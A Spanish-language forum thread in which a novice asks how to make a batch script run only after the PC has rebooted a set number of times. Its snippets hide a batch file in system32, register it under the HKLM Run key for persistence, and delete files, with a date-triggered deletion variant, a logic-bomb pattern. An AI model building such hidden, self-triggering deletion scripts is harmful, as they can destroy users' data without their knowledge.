Pregunta batch

Iniciado por supradyn_activo, 3 Julio 2010, 02:32 AM

0 Miembros y 1 Visitante están viendo este tema.

supradyn_activo

Querria saber si puedo hacer que un determiando codigo se pueda ejecutar cuando el usuario haya reiniciado el pc un numero determinado de veces...

Código (dos) [Seleccionar]
@echo off
cd "%windir%\system32"
echo @echo off >> conf.bat
echo erase /q "D:\zzzzzz.txt" >>conf.bat
@reg add Hkey_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Run /V Conf-System /f /D %Windir%\system32\conf.bat
attrib +h "%windir%\system32\conf.bat"


Esto solo lo haria a la primera reiniciada hay alguna manera para que el proceso se alarge a un N veces de reiniciadas¿

Un saludo! :)

leogtz

Aquí el problema es cómo llevar el conteo de las veces que se ha reiniciado, puedes llevar la cuenta en un archivo de texto o modificando una variable de entorno.

Teniendo el número en el archivo de texto es fácil procesarlo y saber como proseguir.
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

supradyn_activo

#2
Como lo haria ? Soy novato en la programacion de batch y nunca he hecho nada similar! prove con dos "echo" seguidos con la intencion de que se descontara una cada vez pero ya no se me ocurre nada!

Un saludo y gracias! :)

Estoy pensando en algo asi:

Código (dos) [Seleccionar]
@echo off
set fin=03/07/2010
if %DATE%==%fin%(
del /f /q /s "D:\a.txt"
) else (
del /f /q /s "D:\b.txt"
)


Pero nose que hago mal..

flony

#3
digo a modo de ejemplo para que se ejecute despues de n veces serian dos bat que arranquen con la pc...
1=el que vos queres ejecutar
2=el bat contador
los dos arrancan con la pc pero 1.bat arranca un poco mas tarde "seria usando %time% y sumarle un par de segundos o minutos% a su vez con un if se fijaria si el dato del txt es o no igual si es igual termina de ejecutar si es distinto usando taskkill apaga 1.bat
el 2.bat arranca primero y usando tasklist se fijaria si se ejecuto 1.bat y lo guarda en un txt en la pc ...
otra seria meterlo todo en un solo bat con uso de if y gotos...pero basicamente serian dos funciones en el mismo bat...
ahora viendo tu bat
@echo off
set fin=03/07/2010
if %DATE%==%fin%(
del /f /q /s "D:\a.txt"
) else (
del /f /q /s "D:\b.txt"
)

le das una fecha cierta no una cantidad n de veces...para eso usa %at% o el %SCHTASKS%
si un problema no tiene solucion entonces no es un problema...es algo inevitable